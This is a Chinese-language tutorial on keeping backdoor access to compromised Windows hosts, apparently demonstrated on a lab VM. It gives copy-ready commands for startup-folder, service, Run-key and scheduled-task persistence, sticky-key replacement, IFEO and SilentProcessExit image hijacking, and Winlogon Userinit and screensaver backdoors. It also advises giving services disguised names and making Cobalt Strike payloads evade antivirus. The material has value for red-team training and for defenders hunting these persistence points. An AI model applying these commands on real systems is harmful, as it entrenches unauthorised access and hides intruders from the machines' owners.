Windows權限維持—自啟動&映像劫持&粘滯鍵&輔助屏保后門&WinLogon
- 1. 前置
- 2. 自啟動
- 2.1. 路徑加載
- 2.1.1. 放置文件
- 2.1.2. 重啟主機
- 2.2. 服務加載
- 2.2.1. 創建服務
- 2.2.2. 查看服務
- 2.2.3. 重啟主機
- 2.3. 注冊表加載
- 2.3.1. 添加啟動項
- 2.3.2. 查看注冊表
- 2.3.3. 重啟主機
- 3. 計劃任務
- 3.1. 創建計劃任務
- 3.2. 查看效果
- 4. 粘滯鍵
- 4.1. 替換粘滯鍵
- 4.2. 整體思路
- 5. 映像劫持
- 5.1. 查看注冊表
- 5.2. 普通劫持測試
- 5.3. 隱藏劫持測試
- 5.3.1. 操作演示
- 5.3.2. 查看效果
- 6. 屏保&登陸
- 6.1. 配合無文件落地上線
- 6.1.1. 查看注冊表
- 6.1.2. 修改注冊表
- 6.1.3. 查看效果
- 6.2. payload上線
- 6.2.1. 生成payload
- 6.2.2. 修改注冊表
- 6.2.3. 查看注冊表
- 6.2.4. 查看效果
- 6.3. 屏保生效執行后門
- 6.3.1. 查看注冊表
- 6.3.2. 修改注冊表
- 6.3.3. 查看效果
1. 前置
??在Windows系統中,很多后門利用的方式不是太會區別在域中還是單機上,只是需要考慮在沒有網絡情況下,如何將shell反彈回來,就比如,在域中一個無網絡的主機和一臺有網絡的主機,前期通過有網絡的主機轉發上線到無網絡主機上,那么我們木馬是不是也可以這樣設置,在無網絡中設置一個正向木馬,讓其在運行,在有網絡中設置一個反向的木馬,讓其運行,那么我們去連接的時候只要去連接反向木馬就可以了,然后在通過這個反向木馬去連接正向木馬,不就可以了。
??當然上面都是理想環境,在實際的環境中可能更加的復雜,所以還是需要仔細想一想的。
??這次關于Windows權限維持基本上都是在單機環境下測試,其實和在域內測試的效果是一樣的,只是域內相對來說需要考慮有沒有網絡,如何出網等。
2. 自啟動
??所謂的自啟動,想必應該都知道,通常你會發現你再電腦上下載了很多軟件,都會有一個開啟自啟,其實就是將該軟件的程序嵌入到系統的自啟動中,當下次開機的時候,就會自動運行。
2.1. 路徑加載
??路徑加載也就是說將木馬文件放置在系統的自啟動目錄下,來對文件進行執行。
2.1.1. 放置文件
??這里要注意,通常我們所使用的系統都是中文版的,有些系統可能被調整過所以在目錄中顯示的都是英文,而有些會出現是中文的情況,下面的這臺虛擬機就是這樣的。
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ ##英文
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\開始菜單\程序\啟動\ ##中文
2.1.2. 重啟主機
??對主機重啟后發現,主機自動上線了,但是好像還是有點小問題的,主機上會莫名其妙的出現幾個黑色彈窗,遇到有經驗的肯定會出現懷疑的,不過也不知道是不是我的環境有問題。
2.2. 服務加載
??服務加載就是借助服務程序實現自動上線,比如創建一個服務,將服務指向木馬,并將啟動類型調整為自動,那么下次開機的時候,就會自動執行木馬。
2.2.1. 創建服務
??這里需要知道,當獲取到目標主機后,現在的操作都是在進行權限維持,而不是在說如何獲取權限或者獲取主機的操作。
??這里創建服務需要提權后進行創建,普通的管理員權限好像是無法創建服務的,同時服務的名字最好仿照一下必要的程序進行仿寫,比如server,你可以加個s等…
sc create Muma binPath= C:\1\3000.exe start= auto #創建自啟動服務 路徑執行木馬
sc delete Muma #刪除該服務
2.2.2. 查看服務
??可以看到該服務是綁定了木馬,同時這些反彈shell的木馬都比較小,運行起來基本上都是無感操作。
2.2.3. 重啟主機
??這里重啟主機是為了讓系統加載服務,剛創建的服務是無法直接運行的,當然你也可以手動運行,不過我們也是為了保障后續能夠繼續利用,所以我們沒必要急著運行程序。
??等待目標主機重啟即可。
2.3. 注冊表加載
??注冊表加載就是將木馬添加到注冊表中,讓注冊表進行加載。
2.3.1. 添加啟動項
??這里不同的類型的注冊表路徑是不同的,同時有當前用戶的,也有直接是服務器的,當前用戶的基本上你獲取到用戶權限就可以添加了,而且服務器也就是system權限,這個是需要提權的。
當前用戶鍵值注冊表路徑:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
服務器鍵值注冊表路徑(需要管理員權限):
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\1\3000.exe"
2.3.2. 查看注冊表
regedit ##查看注冊表
2.3.3. 重啟主機
??重啟后可以看到成功上線了。
3. 計劃任務
??關于Windows的計劃任務,在Windows系統<2012的時候可以使用at命令,從Windows server 2012之后就不可以使用at命令了,而改成schtasks來進行添加計劃任務,同時at命令默認是以system權限執行。
??關于具體的用法可以自行百度搜索,這里就不作很詳細的演示了。
3.1. 創建計劃任務
??創建一個名為TestService的計劃任務,并在每天的9.46分運行C盤下1目錄中的3000.exe程序。
創建任務:schtasks /Create /TN TestService /SC DAILY /ST 09:46 /TR c:\1\3000.exe /RL HIGHEST
查看任務:SchTasks /Query /TN TestService
刪除任務:SchTasks /Delete /TN TestService [/f]
3.2. 查看效果
??這里只要到時間了,計劃任務就會運行,當運行后程序就會上線。
4. 粘滯鍵
??Shift粘滯鍵是當用戶連按5次shift就會自動彈出的一個程序,其實不光是粘滯鍵,還有各種輔助功能,這類輔助功能都擁有一個特點就是當用戶未進行登錄時也可以觸發。所以攻擊者很有可能通過篡改這些輔助功能的指向程序來達到權限維持的目的。
??粘滯鍵位置:C:\windows\system32\sethc.exe
4.1. 替換粘滯鍵
??這里是有一個問題的就是必須是system權限才能執行,administrator都是無法對其進行修改的。
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe
4.2. 整體思路
??這里的整體思路就是通過修改這個粘滯鍵程序,將后門木馬或者cmd修改為這個粘滯鍵程序的名字,然后再登陸窗口按5次Shift粘滯鍵就會調用。
??而高版本的Windows系統中是無法使用了。
5. 映像劫持
??映像劫持是利用Windows的IFEO(Image File Execution Options)功能來實現的。IFEO實際上是Windows的一項正常功能,主要用于調試程序,其初衷是在程序啟動的時候開啟調試器來調試程序,這樣一來可以在調試器中觀察程序在難以重現的環境中的行為。
??簡單來說就是,通過修改程序指定的注冊表實現程序的劫持,當運行程序的時候實際上運行的是我們留的后門程序。
??一個程序當要運行的時候,會去檢查注冊表,如果有指定的程序并且開啟了debugger,那么會優先執行gebuggr指定的程序,這樣就會造成映像劫持。
5.1. 查看注冊表
??通過查看注冊表會發現,這個注冊表下有很多的exe程序,我們可以通過修改這些表項來實現劫持的效果,當然也可以自己添加一個指定的exe表現實現劫持。
注冊表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
5.2. 普通劫持測試
??這里我們將記事本劫持為計算器,當然計算機也可以修改為自己的木馬,讓其上線。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32
5.3. 隱藏劫持測試
??隱藏劫持就是配合GlobalFlag來實現,執行正常關閉后觸發,也就是說當記事本執行后,木馬是不會被執行的,同時記事本依舊是能夠正常運行的,相當于無感操作,但是當關閉記事本的時候,就會自動觸發執行后門木馬。
5.3.1. 操作演示
??這里我們修改一下,自行看命令,把一些內容修改成你自己的即可。
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\1\3000.exe"
5.3.2. 查看效果
??這里我們打開記事本后再點擊關閉,目標主機就自動上線了。
6. 屏保&登陸
??這個就是利用在鎖屏后登陸的時候觸發的一些程序,在這些程序后添加還要運行的程序即可。
6.1. 配合無文件落地上線
??其實也就是修改注冊表在對應的值中加入木馬路徑,當觸發登陸就會自動執行了木馬。
6.1.1. 查看注冊表
??在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
中的Userinit
對于的值是當前用戶登陸的時候會觸發的程序,這里我們就在這個值后面添加木馬路徑。
6.1.2. 修改注冊表
??這里是需要權限的,使用普通用戶的權限可能無法執行,所以依舊需要提權后操作。
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\System32\userinit.exe,C:\1\3000.exe"
6.1.3. 查看效果
??可以看到重啟或者鎖屏后重新登陸即可上線。
6.2. payload上線
??這里是采用cs中的payload進行上線。
6.2.1. 生成payload
??這里選擇有效載荷》payload生成器》選擇監聽器》類型選擇powershell command。
6.2.2. 修改注冊表
??這里一定要注意payload一定要免殺,否則百分比會被殺。
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\System32\userinit.exe,payload" ##要注意這個payload就是將cs生成的paylod復制上去,由于太大了,就不輸入了。
6.2.3. 查看注冊表
??這里我們查看一下注冊表中是否修改了,由于這里是虛擬機,不好截圖,但是可以看到后面是添加了內容的。
6.2.4. 查看效果
??可以看到這里觸發登陸就成功上線了。
6.3. 屏保生效執行后門
??這里也可以使用屏保生效后執行后門,正常電腦屏幕在一段時間后都會自動進行屏幕保護,而這里就是借用屏幕包含自動執行的時候,同時執行后門。
6.3.1. 查看注冊表
??如果選擇了屏幕保護程序那么注冊表HKEY_CURRENT_USER\Control Panel\Desktop
中SCRNSAVE.EXE的值就是對應的屏幕保護程序,如果把這個值改為我們的木馬程序那么當開啟屏幕保護時也就觸發了木馬。
??但是我這里看了一下,我的注冊表中好像是沒有這個程序的,莫名其妙的,不過我發現可以自己添加。
6.3.2. 修改注冊表
??這里修改完也相當于就添加了一個木馬。
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\1\3000.exe" /f
6.3.3. 查看效果
??這里進行鎖屏后就可以看到成功上線了。